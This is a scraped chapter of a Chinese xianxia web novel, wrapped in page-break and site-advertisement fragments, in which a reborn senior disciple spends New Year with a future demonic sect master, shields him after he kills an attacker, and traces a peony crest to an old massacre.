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6魔修(1 / 2)

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('\n\t\t\t        进入中山后,裴凌本以为诉清歌会如之前所言那般,带自己去他的父母家,因此连拒绝的腹稿都打好了。

        却不想诉清歌却好似完全忘了这么一回事似得,领着他四处玩了一圈,等到傍晚,便在最大的酒楼里要了顶层的包厢,并挥退了周围伺候的小厮,亲自点炉温酒。

        “十七了,能喝酒吗?”男人白衣胜雪,眉眼清润,坐在装饰繁华的酒楼里,在一片嘈杂声中,显得十分格格不入:“这家酒酿得不错,尝一尝?”

        窗外,旖旎的晚霞已将大半天幕染得如同火烧,整座城都因此笼上暖色光调。

        裴凌坐在酒桌边上,无声的摘下了脸上的面具:“能喝一点。”

        诉清歌便给他倒酒。

        裴凌看着他骨节分明的手指,低声道:“都来中山了,不去陪你的父母么?”

        诉清歌没说话。

        裴凌便抬起头,去看他的脸。男人依旧微微笑着,桃花眼中的情绪,却给人一种十分淡薄的感觉。

        “嗯,不去。”诉清歌迟了一会儿才开口道:“而且不是说好了,就我们两个过年吗?他们过他们的,我们过我们的,不也很好?”

        靠着乞讨在市井间摸爬滚打长大,后来入了门,又要看师兄师姐们的眼色。在察言观色这方面,裴凌绝对是个中好手。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        看来诉清歌和他父母弟弟的关系,好像并不如他之前所表现出的那么融洽。

        不过这也挺正常的。诉清歌是大宗门的亲传大师兄,天赋惊艳绝伦,裴凌前世虽不曾与诉清歌见过面,但也对这位天才人物的事迹有所耳闻。而诉清歌的弟弟重病缠身,想来在修炼一途上也没什么天赋,父母更是没听过名字的小人物。

        天赋上的差距,直接导致了眼界的不同。譬如,十年对诉清歌这种修真天才而言,不过弹指一瞬。可对于究其一生也只能触及筑基门槛的普通修真者而言,寿岁仅有两百多年,十年于他们,已是占据了人生中很大的一部分了。

        哪怕是一家人,在这样巨大的差距面前,也会逐渐离心的。

        前世的裴凌在心魔道主的位置上坐了几十年,到最后,无人再是他的敌手,那时他感觉到的并不是万人之上的爽快,而是一种深切的无聊与寂寞。

        思及此,裴凌神情微动,端起酒杯:“是,挺好的。”

        诉清歌也端起酒杯,轻笑着与他轻轻一碰。

        “仔细想来,”诉清歌抿了口酒:“我也好久没和另一个人一起过年了。”

        裴凌道:“大师兄,不要开这种无聊的玩笑,只要你发话,怕是有数不清的修士想要与你共度良宵。”

        诉清歌忍不住笑了起来,他摆了摆手:“我的意思是,好久没这样,两个人一起过年了。”

        裴凌捏着酒杯,顿了片刻,状似无意的问道:“上一次是和谁一起?”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        “和我师娘。”诉清歌道。

        这时包厢门敲响,楼下人送菜上来。两人的对话暂且中止。

        等布完了菜,人全都退下,裴凌才道:“我在天道院这么久,从未听过掌门有道侣。”

        诉清歌道:“师娘是东山洛河城的城主,虽与我师父结为道侣已有五十年之久,但为了避嫌,才从未公开过关系。”

        名门正派里那些弯弯绕绕,裴凌之前从未关注过,更无法理解两个相爱的人在一起五十年,竟还要躲躲藏藏,不能公之于众。

        裴凌皱了下眉,在脑海里仔细的想了一番,却完全想不起东山洛河城城主的模样。

        许是因为几杯热酒下肚,对面同座的又是诉清歌这种看着就无害的纯良正派,裴凌放松了许多:“既然如此,后来你又为什么不和她一起过年了?”

        诉清歌道:“她死了,练功走火入魔,被人发现后绞杀当场。”

        裴凌:……

        和诉清歌的相处太愉快,以至于裴凌都忘了,正道中人是如何对魔修深恶痛绝的。

        想到之后自己魔修身份败露,眼前人说不定也会和那些人一样,怒喊着要诛杀自己。裴凌忽然就觉得很没意思,连桌上色香味俱全的菜品也没了胃口。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        而诉清歌提到魔修这个话题后,也突然陷入了另一番沉思。

        如果那个以牡丹花为标志的宗门真的是某个正道宗派,并与心魔道有所勾结,那么裴凌身为心魔道主,定然知道其中内幕。

        当年那围剿之战究竟是怎么回事,诉清歌还是很想搞清楚的,毕竟死也要死的明白一点,稀里糊涂的当了炮灰,可不是诉大师兄的作派。

        但,现在和裴凌提……

        不合适。

        算了,还是另寻他路吧。

        诉清歌加了一片鱼肉放进裴凌碗里,正要劝他多吃些,窗外却陡然爆发出一声尖锐且充满了恐惧的尖叫声。

        “魔修!魔——”

        戛然而止。

        尖叫后突兀的安静,令每个听到了动静的人心中都忍不住生出不安的感觉。

        裴凌皱起眉,却见对面座上的男人已不假思索的站起身,提着剑走向了窗户。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        楼下已渐渐恢复了嘈杂,大伙面面相觑,议论纷纷,都在讨论那声尖叫从何而来,其中的魔修又在哪里。城中毕竟普通人居多,一时间人心惶惶,各个面露惊慌。

        裴凌见诉清歌竟要直接往下跳,几乎是下意识的喊了一声:“大师兄。”

        月光下,灯火间,诉清歌手持长剑,回眸一笑:“不用怕,我等会就回来。”

        话音落下,他的人影已消失不见。

        裴凌听到楼下又响起几番惊叹,议论声再响起时,却明显安定了许多,不乏有夸赞之声。

        冷风从敞开的窗户吹入,裴凌定定的坐在原地。

        他知道,诉清歌必然是去追杀那个魔修了。

        说不定之后的那一天,被他追杀的魔修就成了裴凌。

        他端起桌上的酒杯喝了一口,温酒入喉,却令他感觉清醒了许多。

        自己在做什么呢。

        不想着复仇,不想着修炼,却和天道院的大师兄在这里喝酒聊天过年,虚度光阴,浪费时间。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        果然,从一开始他就不该接受这份好意,如果不接受,就不会渐渐地相信诉清歌,对他放松警惕,好奇起诉清歌的过去,还在这里,因为将来很可能发生的刀戎相见感到没头没脑的失落。

        这些无用的情感……只会让自己变得软弱,从一开始就不该出现。

        裴凌深吐出一口气,暴戾的魔气在经脉中横冲直撞,他烦躁的给自己添酒,还没喝到嘴里,包厢的门毫无征兆的拉开,一道满身是血的人影跌跌撞撞的闯入进来。

        魔气四溢,显然是个魔修。

        那人冲进来后,先是跌到了桌上,掀翻了一堆碗碟,又慌乱的爬起来,发现包厢里只有一个炼气期的修士后,不禁露出一个狰狞的笑容,拿出腰间匕首,对准了裴凌:“你、把身上的法宝全交出来,不准让任何人进来,否则我就剥了你的皮,把你的头剁下来喂狗吃!”

        裴凌低头,缓缓戴上面具。

        魔修看他不理自己,本就紧绷摇摇欲坠的神经受了刺激,大吵大叫起来:“听到了没?你——你看不起我是不是?啊?我杀了你!”

        他举起手中匕首,猛地刺向裴凌的眼睛。

        鲜血喷溅。

        裴凌本就不爽至极,还来了个撞枪口上的。冷着脸,什么武器都没拿,就这么硬生生用魔气将这魔修的脖子给拧了下来。

        反正此人魔气四溢,不用怕被人看出出手的也是魔修。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        杀完了人,裴凌心中的戾气却分毫未少,反而更烦躁了。他看着一室狼藉,倒在地上的酒坛饭菜,房梁墙壁上的血液,还有尸首分离的尸体……

        好烦。

        几道急促的脚步声在走廊上响起,随后比先前还要尖锐的尖叫声便穿透了他的耳膜。

        裴凌坐在原地,戴着面具,面无表情的朝包厢门口看去。

        见到室内这副惨状,小厮已尖叫着昏了过去,还有人正跪在地上呕吐。

        他定定的坐着,恍然之间好像回到了前世。无论他做什么,别人朝他投来的视线都永远只有恐惧和厌恶,遑论这次他还真的杀了人。

        裴凌闭了闭眼睛,想要离开,却也不知道该去哪里,于是一动也不动,就这么坐在一片恐惧怪异的打量中。

        酒楼老板走过来,见到这副惨状,以及室内那个戴着面具看起来十分淡然的青年,不由拧紧眉头,大概在怀疑这人出手如此狠辣,是否也是个魔修:“这……”

        “老板。”

        诉清歌来了。

        不用听声音,只听脚步声都知道。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        裴凌看过去,隔着面具和诉清歌对上视线。

        “这是我的同门师弟。”诉清歌行色匆匆,手中提着的剑上还沾着鲜血:“是与我一同来追杀魔修的。”又看了眼室内的情况:“小孩子,下手没轻没重的,吓着诸位了,不好意思。”

        诉清歌的名头十分响亮,闻言,老板原本为难的脸色立马放晴:“哎哟,哪里哪里,原来是天道院的仙家,是我们该说不好意思才是,真多亏了您们,不然也不知道这些魔修还要作恶多久。这样,我给您们重新摆一桌酒,权当今日受惊的赔礼了。”

        “不用了。”诉清歌道:“我们还有其他事要做,先走一步。”

        “是,是。”老板赔着笑,又连声道了一连串的谢。

        裴凌看着诉清歌踏过地板上的鲜血,一步步朝自己走来。

        然后弯下腰,眼中难掩担忧:“受伤了吗?”

        裴凌的舌头突然就打了结。

        他摇了摇头,诉清歌便将他拉了起来:“这里不太安全,先离开。”

        御剑飞出酒楼后,诉清歌道:“我的错,一共就三名魔修,还不小心放跑了一个。吓着了吧。”

        裴凌道:“你不觉得我下手太重了?”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        诉清歌苦笑:“他手里拿着匕首,你没受伤我就谢天谢地了,怎么可能还怪你下手重,下手不重才要命。”

        说着,他摸了下裴凌的后背:“真的没受伤吧?”

        要是受了伤他也干脆别玩了,本来是带任务对象出来刷好感度,研究研究“拯救”是怎么个思路。现在倒好,路遇魔修,让裴凌出手杀人,搞得本来好了一点的气氛一塌糊涂不说,要是再害得裴凌受伤……

        幸好,这位心魔道主的脾气竟然还蛮不错的,语气中不见生气的情绪:“没受伤。”

        “那就好。”诉清歌松了口气,“本想吃完了东西再带你出去逛集市的,今天还是早点休息吧。”

        裴凌抿了抿唇,心情悄然无声的下降了一点。

        诉清歌又道:“明天补偿你,带你去凡界玩,大年初一,那里比修界更热闹。”

        裴凌扶了扶脸上的面具,“好”字几乎滚到了唇边,却又被他咽了回去。

        疯了吧。

        过不了多久,诉清歌的剑对准的就会是他。现在该做的事是修炼,而不是和一个注定为敌的人一同玩乐。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        可皎洁的月光下,诉清歌的脸,他的微笑,他专注的看着裴凌的眼神,都实在太具有迷惑性了。

        “我……”裴凌毫无征兆的听见了自己的心跳声,一时本该说出口的拒绝也变得杂乱无章:“不知道,没什么心情。”

        诉清歌十分理解:“这地方平时都好好的,偏偏今天……没心情是正常的,等会好好泡个澡,不用担心再有魔修来,我会保护你的。”

        裴凌一开始还没弄懂诉清歌这句“我会保护你”的具体意思。

        知道他们进了同一间上房,盛满热水的浴桶推入房内,而诉清歌抱着剑坐在窗边,完好以瑕的看着他并让他洗澡的时候,裴凌才意识到,诉清歌的保护是要寸步不离的守着自己。

        诉清歌是无论如何也不想再发生一次酒楼里的事了,当时他本就是不希望那些魔修打扰到他和裴凌,没想到弄巧成拙,自己离开了一会儿的功夫,那魔修竟然就找了裴凌的麻烦,真是倒霉到了家。

        这一次他就在这里守着,兵来将挡水来土掩。

        在诉清歌的认知里,他和裴凌都是男人,同屋洗澡是没什么大不了的事,他不看就是了。

        从旁边拉起屏风,低声道:“你身上沾了那魔修的血和魔气,不清洗会很难受的。我就在这里,不会有人来的。”

        裴凌看着眼前的浴桶,神情几变。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        如果他和其他男子无异,必然不会如此犹豫。

        可他……

        抬头看了看屏风另一侧的人影,裴凌摘下脸上的面具,到底是解开了身上的衣带。

        衣物一件件落下,露出他瘦削修长的裸体,伤痕在皮肤上层层叠叠,全都是他无法抹消的过往。

        诉清歌听到悉悉索索的衣物摩挲声响,不经意的抬眼一看,却僵在当场。

        为了照明,浴桶后方放了一盏油灯。此时此刻,那点烛火清晰的将屏风后青年的一举一动都投映在了屏风之上。

        裴凌的腰竟然这么细……

        意识到自己在想什么,诉清歌立马别过头去,不敢再看。

        然而那淅淅沥沥的水声却好似落在了他的耳朵里,诉清歌口中无声轻骂。

        明明都是男人。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        明明无需在意。

        但……好吧。诉清歌必须承认,心魔道主在屏风另一边脱光了衣服洗澡这件事,对他而言还是有冲击力的。

        他余光一瞥。裴凌正好侧对着屏风,站在浴桶中,抬手解开了头发。这个动作下,他身体的轮廓尽显无疑,全都被诉清歌收入眼中。

        夭寿。

        诉清歌忍无可忍,将那油灯弄灭,转而以灵力在正上方照明。

        裴凌一愣:“大师兄?”

        “没事。”诉清歌道:“这样比较亮堂。”

        裴凌初识不解,等回头看到油灯摆放的位置,才明白了什么,耳根处罕有的涌上一阵热意。

        但想一想,以诉清歌的脾气,根本也不可能对自己有什么其他想法,又冷静下去,把澡给洗完了。

        不多时浴桶撤下,裴凌在榻上和衣而卧,而诉清歌就坐在椅子上,宛如一座放在门口用来辟邪的石塑,抱着凌霄剑,望着窗外的月光,轮廓清晰的侧脸看起来近乎完美。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        厢房里布了隔音阵法,楼下的嘈杂,听起来就像是从很远的地方传过来的一样。

        房梁上以温润灵力被褥柔软蓬松,洗过澡的身体清爽舒适,一切都很好,好的就像方才酒楼里发生的事只是一场梦而已。

        裴凌这一生中杀过的人实在太多,如同牛毛,根本数不尽。而无论杀的是好人还是恶人,过程如何,后果总是难以善终的。牵牵扯扯拉出一大堆因果,结下一堆仇家,然后又要杀人,如此循环往复,简直烦的要命。

        在酒楼里,若没有诉清歌在,裴凌的解决方法必然是:杀了所有人,然后拍拍屁股离开。反正就算解释,那些人也不会相信,又要扯证明又要拿证据,烦都烦死,还不如杀了痛快。当然,之后要面对多少新添的仇家,就债不嫌多了。

        但诉清歌在。

        所以,就像在天道院时一样,裴凌忍了。

        随后诉清歌来,轻描淡写的两句话解决了一切,就好像什么都没发生过一样,带着自己离开,哄自己开心……

        哄?

        裴凌的思绪倏然乱了。

        而诉清歌不知何时走到了榻边上,手里端着一碗热腾腾的红枣元宵:“刚刚看你在酒楼里没吃什么东西,就让店家做了碗元宵送上来,垫垫肚子。否则晚上喝了酒,在不吃点热乎的,胃会难受。”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        裴凌坐起身,伸手想接过来,诉清歌却笑道:“碗太烫,我帮你端着就好。”

        裴凌心中正因为刚刚那个毫无征兆的浮现在脑海中的“哄”字倍感奇怪,十分直接的拒绝了他的好意:“不用了。”又道:“大师兄,有没有人和你说过,你这人很没距离感?”

        诉清歌唇角弧度加深,将手中瓷碗递给裴凌,笑道:“还真没有,什么意思?”

        裴凌话到嘴边,又咽了回去:“……算了,没什么。”他舀了一勺红枣汤,里面的红枣个头大且饱满,去皮去核,肉早就泡软了,喝进嘴里甜度正好,且充满了红枣的香气。

        碗里元宵是小元宵,却也个个都夹了豆沙馅儿,一碗元宵下肚,浑身都热乎乎的,胃也舒服了许多。

        吃完元宵,裴凌刚放下勺子,一直坐在榻边的诉清歌已顺手从他手中接过空碗,并走到门口,将碗放到了门外。

        “好了。”诉清歌坐回原来的位置上,道:“睡吧。”

        裴凌却无论如何也睡不着了。

        他在想两件事:一,诉清歌到底为什么要对自己这么好?明明自己一无所有,对自己这种人好,有什么用?

        二,诉清歌……是不是对谁都这么好?

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        如果裴凌知道,诉清歌寸步不离的守着自己,除了保护自己的安全不要受伤以外,还有看着自己不要伤害别人的意味,一定会气得魔气爆发。

        但裴凌并不知道这些,他躺在床榻上,咬了咬手指。尽管诉清歌已承认了自己是他的特例,还做出了各种实际的表达,但……没有办法,裴凌实在无法相信,准确来说,他已经失去了相信任何人的能力,往后余生恐怕都只能生活在无穷无尽的怀疑之中了。

        为了什么?到底是不是?

        想来想去,想到最后,不仅没想出答案,还多出来一个问题:他干嘛要在乎这种无聊的事情?诉清歌爱对谁好对谁好,爱做什么做什么,只要自己不吃亏不就行了?

        裴凌翻了个身,心里想着“不管了”,口中却已出声:“大师兄。”

        诉清歌道:“怎么了?是不是哪里不舒服?”

        “我没那么脆弱。”裴凌想问你是不是对我太好了,又突然觉得反复提这事的自己有点招人烦,于是卡住,不知道再说什么好。

        诉清歌正好在翻系统先前给他传来的那份资料。他原本想的是,等晚上裴凌睡着后去貔貅阁看看有没有消息可买,可魔修的事一出,他又不便离开了,就想看能不能从系统资料上找出当年那围剿之战有关的信息。

        当然,结果自然是没有。

        他等了一会,裴凌却迟迟没有下文,正想走过去看,便听裴凌道:“你平时出去云游,都是做些什么?”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        诉清歌想了想:“大多时候,都是在凡界各地帮监察司的忙。”

        监察司是修界设在凡界的监察机构,凡修两界中间有法阵存在,大多邪祟魔修是无法通过的,也就保护了灵气稀薄的凡界不会受到修界的打扰。否则随便哪个心术不正的修士下了凡界,都要造出一个人间地狱来。

        但说是这么说,还是有些邪祟魔修会流入凡界,且凡界自身也会出岔子,这时候,如果凡界的人无法处理,便可将此时报入监察司,再由监察司报入修界,届时便由各位修士领取卷轴去处理问题。

        这种事做来大多没什么报偿,凡界也没什么宝物,因此许多修士并不爱去吃这个苦。诉清歌天天在凡界做好事,简直是活菩萨。

        裴凌道:“大师兄倒是心善。”

        诉清歌道:“我不算什么心善的人,只是监察司里陈年旧案积压太多,毕竟都是人命,既然有能力去做,举手之劳而已,何乐不为呢?”

        裴凌忽然的想起了自己在凡界的家,舒城中,那个小小的房子,小小的院子。

        两个魔修将他的一切毁掉,在他的脸上留下了永远无法消褪的耻辱。

        那时他怎么想的来着?

        对了,是“有朝一日,若自己拥有足够的力量,一定要将天底下的魔修都灭个干净”。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        感受着丹田静脉中涌动的魔气,裴凌轻轻的弯了弯唇角。

        命运弄人,回首再想初心,何其可笑。

        “当年舒城因魔修肆虐,给监察司发了不知多少次求助,却始终无人来管。”裴凌轻声道:“后来我的父母死在了魔修剑下,脸也被毁了……”

        他抬起手,抚摸脸上的疤:“要是那时候有像大师兄一样的人来就好了。”

        这些话,裴凌不知在心里藏了多少年。

        小时候,希望天上的仙人救他的父母,然而希望落空了。

        少年时,有希望有谁能来帮一帮在宗门里受尽欺辱的他自己,依旧落空了。

        后来裴凌不再求他人,也不再对任何人抱有期望。走上了魔修的路,生前死后都将永远的孤身一人。

        偏偏就在这时,诉清歌出现了。

        他为什么要出现呢?

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        为什么要对自己好?

        为什么……自己走上了魔修的路?等死后,又该如何去见死于魔修剑下的父母……

        裴凌忽然觉得头有点疼。

        却感觉有人在榻边坐下。

        灵力的照明,被从房梁上换回到油灯上,比烛火稳定,也更方便调整为适合睡眠的亮度。

        诉清歌的手掌覆在他的额头上,又转而抚摸他的头发。

        “今天你受惊了,不要再多想其他。”男人清润的声线响起,语气十分温柔:“睡吧,我在这里,不会有任何人伤害你。”

        裴凌嘴唇微微动了动,胸膛里翻涌的情绪,在属于诉清歌的干净气味中渐渐平息。

        那些乱七八糟的想法也散了,他闭上眼,不知不觉的睡着了。

        【本章阅读完毕,更多请搜索25书屋;http://m.25shuwu.com 阅读更多精彩小说】\t\t', '\t')('\n\t\t\t        新年夜被诛杀的那三个魔修在中山城中潜伏已久,时不时出来作乱一下,等有人来抓,又很快藏身不知躲到哪里去,就像阴沟里的老鼠,惹得驻守于中山城中的修士们烦不胜烦。

        直到诉清歌出手,才算还乐中山城的百姓们一个安生。

        清晨,天空方才破晓,在椅子上守了一夜的诉清歌忽然察觉到了什么,站起身,轻手轻脚的推开厢房的门,走了出去。

        却也没走远,就站在走廊上,背负凌霄剑,抱臂站着,似乎在等谁。

        不到一刻,几道脚步声自走廊拐角处传来,并逐渐走近。

        待他们走过拐角,便见到脚步声的主人。那是三个身材高大、气度非凡的男修士,为首那人白衣飒踏、容貌俊朗,腰间佩戴大师兄令牌。

        同穿白衣,同是大师兄,诉清歌给人的感觉温柔亲切,如同春风拂面,对谁都是一副笑脸。这人却冷着一张脸,眉眼凌厉,周身气场如同霜雪,一看便知很不好相处。

        他见到诉清歌,脚步顿住,身后另外两人随之停下步子并停在他身后,一看便知都是这位大师兄的下属。

        “诉道友。”男子冷着脸,一拱手:“好久不见。”

        诉清歌微微一笑:“于道友,好久不见。昨天夜里,我就想到你今天会来,特地提前在门口等候。”

        此人诉清歌认得,名为于霄,是北山剑宗的大师兄,也是一个不可一世的天之骄子,意气风发之时,却在十年前的试仙台会上被诉清歌击败,得了个老二的名次。身为剑宗大师兄,于霄却输给了同为剑修的诉清歌,他难以接受这个结果,便离开宗门历练,来到中山。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        中山位于东南西北四山的正中,也是整个修界的正中,这么一块地方,给哪边来管好像都不太合适,于是大家默认的各自派了一些人过来驻守,顺带维护一下中山城的安全。

        昨天闹出的动静并不小,而修界类似于中山城的大小城池中又有规定,需将大小事务整理为记录,每日固定的发往四山各宗各派,供各位宗主翻阅,以确保无事发生。于霄身为这一帮驻守修士的头头,会找上门来询问情况,是意料之中的事情。

        于霄挑起一边眉毛,扯了扯嘴角,却没有一点笑意,只让人感觉他是想要说什么嘲讽的话:“说起昨天的事,我还真是要多多感谢诉道友出手相助了,那三名魔修乃是前几个月守城人玩忽职守,不小心放入城里的,那群魔修……嗤,比蟑螂还要难缠,藏身之处换了又换,好在他们是不会像蟑螂一样胡乱繁衍。”

        诉清歌笑了笑:“没什么好谢的,赶巧罢了。毕竟是新年夜,都不想生太多事端,顺手为之,换得大家清静,何乐不为呢。”

        于霄道:“是么?”一双眼睛却盯着诉清歌身后紧闭的房门:“但我听说诉道友此次来中山城,并非独自一人,而是与同门师弟一同出行。昨夜之事,也有那位的手笔。”

        诉清歌知道他是已经找过了酒楼老板,莞尔道:“不好意思,于道友。我家这位小朋友年纪小,也是头一次遇见魔修,昨日之事已让他受了不小的惊,这会正在睡觉呢。你要是有什么事情想问,来问我就好,不必打扰他。”

        于霄半笑不笑道:“你这位小朋友听起来胆子很小,杀人的手段倒是残忍的与魔修无异,硬生生把人头从身上拧下来,呵……”

        诉清歌心想废话,心魔道主出手,你放五十年后再看,问谁谁知道。面上装傻笑道:“毕竟年纪还小,我们这些当师兄的,总是要多担待一些的。你说呢?”

        一边说,一边往门口走了一步,意思很明白了:今天他在这里,于霄无论如何都别想要盘问他那位师弟了。

        于霄见诉清歌不配合,倒也没多坚持,打量了诉清歌一番,忽然冷笑道:“诉道友既然来了中山,为何不与家人团聚,而是和门下师弟在一起过?”

        诉清歌眼中稍冷,垂在身侧的手指微动,背后凌霄剑似是察觉了主人的想法,发出一声清越的剑鸣。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        于霄身后那两个修士见状,纷纷露出警惕的表情,并将手放到了腰间佩剑上,却又碍于诉清歌的身份,不敢轻举妄动。

        诉清歌淡淡的笑了一笑:“多谢于道友提醒,我似乎也好久没去于道友家中拜年了。今日走不脱身,但年关内,必然会登门拜访。”

        他桃花眼中多情且真挚,笑容亲切,语气也很柔和,听起来好像真的是要去于霄家里拜年问好。

        于霄脸色却倏然变得十分难看,瞪了诉清歌一眼,一摆袖子:“罢了,走吧。”

        他左侧身后的修士道:“于师兄,昨夜的事……”

        “记录中只写诉道友一人名字就好。”

        诉清歌微笑:“多谢。”

        于霄冷冷的瞪了他一眼,转身离开了。

        送走了这尊大神,诉清歌舒了口气,转身回到厢房,却发现裴凌不知何时,竟然已经起来了,而且穿戴整齐,神情清醒,坐在窗边的小桌旁,手边放着那副象牙白面具。

        诉清歌猝不及防对上他的目光,心中一愣,继而笑了。这笑较之方才,更多了几分真实的感觉:“醒了,头还疼吗?”

        裴凌摇了摇头,垂着眼,手指抚摸着面具:“大师兄,外面来的人是谁?”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        “是中山城的人。”诉清歌心想可千万不能让裴凌知道于霄这么一号成天拉这个脸对谁说话都阴阳怪气的人物,否则心魔道主脾气上来,岂不是要将人竖着劈成两半:“没什么,已经让我应付走了。”

        裴凌道:“我给你添麻烦了。”

        诉清歌有些惊讶,完全没想到这位心魔道主竟然会这么说,惊讶之余,又忍不住加深了唇角的弧度:“什么添麻烦,这本来就是该有我来处理的问题。饿了没?带你去吃早饭。”

        诉清歌其实也是第一次带人出来玩,因此有事没事,就总想带裴凌去吃好吃的,不希望他饿肚子。

        然而,裴凌却很不给面子,完全没发现诉清歌想要转移话题般,继续问道:“刚刚师兄说要去那人家里拜年,是什么意思?”

        “……”诉清歌扶额,这厢房的隔音阵效果这么不好吗?“随口说的,没什么意思。”

        裴凌何其聪明,抬头看了他一会儿,点头道:“是我僭越了,没认清自己的位置,不该过问大师兄的事情。”

        诉清歌心道裴凌说起反话来,阴阳程度和于霄似乎也不相上下。唇边无奈的笑了笑:“算了,反正也不是什么秘密,既然你想要知道,就告诉你吧。”

        裴凌看着一身白衣的诉清歌在自己身旁坐下,心中莫名的掠过一丝类似于满意的情感,像是任性孩童成功的得到了自己想要的糖果。

        诉清歌轻咳两声,开始说起于霄的八卦。

        原来,于霄此人原先是凡界一户普通牧户人家的小孩,在猪牛羊鸡一类的畜牲中懵懵懂懂的长到了十四岁,完全不知道修界是什么东西。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        有一天,北山剑宗里一个长老闲的没事,下凡界来玩,偶然发现了于霄这个好苗子,连声道他是练剑奇才。然而,剑修这个东西,和其他修炼门路不同,是需要修士修身养性多年才可练出门道。比如诉清歌,三岁入门,就是一个很好的童子功例子。

        十四岁的于霄若想要走上修仙一途,必须要做些事情,以此证道,也就是证明自己的心性是可以走上这条路的。

        “……一如古有杀妻证道,于霄选择的证道方式,正是以自己亲人的血来祭剑。”诉清歌道:“就是这样,于霄把自己一家全都,嗯。总之,当时修界知道这件事的人并不少,不过剑宗那些人本来就是一群疯子,以此证道也不是什么奇怪的事。不过毕竟是个污点,于霄成功入道后,极其讨厌别人提起这事。我提起这事,也是为了警告他。”

        裴凌前世踏平过许多城池,对里面那一册册堆积如同小山的记录册也很有印象,知道诉清歌是想保护自己不让自己的名字出现在记录册上,抿了抿唇,低声道:“谢谢。”

        诉清歌每次听他向自己道谢,感觉都很奇怪,轻笑道:“有什么好道谢的。”

        何况自己方才会故意出言刺于霄,为的也不只是裴凌。

        于霄身在中山多年,对诉清歌家中的情况必然是知晓的,刚刚却有意提起,真是……

        诉清歌眸色冷了几分,拿起桌上的茶盏,抿了口过夜的凉茶,压下了那一分火气。

        --

        裴凌想问的其实不是那个于什么的家庭情况,他想问的是诉清歌的家事。

        但,诉清歌已经表现出不愿回答的态度,他在穷追猛打下去,未免太过不识趣,只得把这件事暂时放到脑后去了。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        两人吃过客栈的早饭,诉清歌思来想去,决定还是带着裴凌一起去貔貅阁走一趟。

        不过,他并没有告诉裴凌他是想找牡丹家徽,而是以“看看有没有合适的灵剑拍来给裴凌防身”为由,带着他踏入了貔貅阁。

        作为修界一家独大的交易拍卖行,貔貅阁里无论何时,总是一副人来人往的热闹景象。

        以诉清歌的身份和个人资产,貔貅阁里的人无须多问,直接就将他带到了贵宾室内,等待半个时辰后,下一场拍卖开始。

        然而十分不巧,贵宾室内竟还坐了另一个人,正是早上才和诉清歌不欢而散的于霄!

        于霄见到诉清歌,亦是一怔,旋即看向他身后的青年。

        裴凌早已将面具戴上,落后一步站在诉清歌身后,看起来就是一个普普通通的小修士。

        于霄没想到诉清歌特地站门口守着护着的人,竟然是这么一个不起眼的炼气期弟子,心里也是有点郁闷。想起早上的不愉,一扫诉清歌的脸,冷嗤一声,完全不想同这对师兄弟说任何话。

        然而诉清歌却定定的看着于霄手中的物什,嘴唇因惊讶而微微颤抖。

        “于霄。”诉清歌道:“你手中的匕首……是从哪来的?上面的牡丹花,又是谁家的标志?”

        于霄看了眼手中的匕首,冷冷一瞥:“诉道友真是贵人忘性大,几年的功夫,竟连自己师娘、曾经洛河城的城徽都认不清了。”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        于霄身为这届的剑宗大师兄,对天道院的八卦有所了解,知道诉清歌的师娘这一号人物也不是什么奇怪的事。

        这句话仿佛一道闪电,劈开了诉清歌的脑海。

        怪不得,怪不得自己怎么想都想不起这牡丹花属于哪个宗门,还总觉得眼熟……

        他怔在原地,定定的看着那匕首。

        耳边风雨声大作,一瞬间竟好似回到了那一夜……正道围剿心魔道,风雨交加,洛河城中烽火连天。

        洛河城,围剿之战。

        一片裹挟着浓重血腥味的凄风苦雨中,诉清歌乘在高头大马上,一身白衣染血,手中握着凌霄剑,远远的,看见绣着牡丹花的旗帜在身后长长的队伍尾端飘扬。洛河城城主堕魔身死,城主更替,城徽也换了个来回。如今的牡丹花,仅有老城主的旧部还在使用。

        时过经年,曾经鲜艳的牡丹花却早已破落不堪,失去了原有的颜色。

        “诉道友?”

        诉清歌的脸色实在太奇怪,饶是于霄也觉出了不对,皱起眉:“诉道友!”

        诉清歌回过神来。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        “是,我想起来了。”诉清歌强撑起一抹笑意:“真的忘了……竟真的忘了。”

        心中却乱到了极点。

        石窟中的那段魔修心法,莫非是师娘旧部所刻?若真是如此,又为何要留下那个记号?而不是藏好自己的尾巴?

        五十年后围剿之战,和心魔道中人勾结的,也是他们么?

        洛河城城主走火入魔,被生生绞死,其旧部因恨与魔道中人勾结,似乎也是说得通的。

        可没人比诉清歌更清楚,在师娘死后,洛河城的势力便被玄德真人接管,城中大小事务,走的都是天道院的路。

        当年……诉清歌的修为已达化神后期,又有凌霄剑护身,修界中难逢敌手。洛河城地势复杂,街巷如同羊肠弯绕,按理来说,诉清歌是占据优势了的。

        可心魔道的那些人却好像知道他在哪里,冷枪暗箭,重伤了他,又在最后逃命时,让他迎面撞上了裴凌。

        一剑穿心,死不瞑目。

        曾经不曾放在心上的种种异状,于今日爬上心头,才终于恍然。

        到底是重生回来的人,经历过许多,诉清歌很快又冷静了下来。

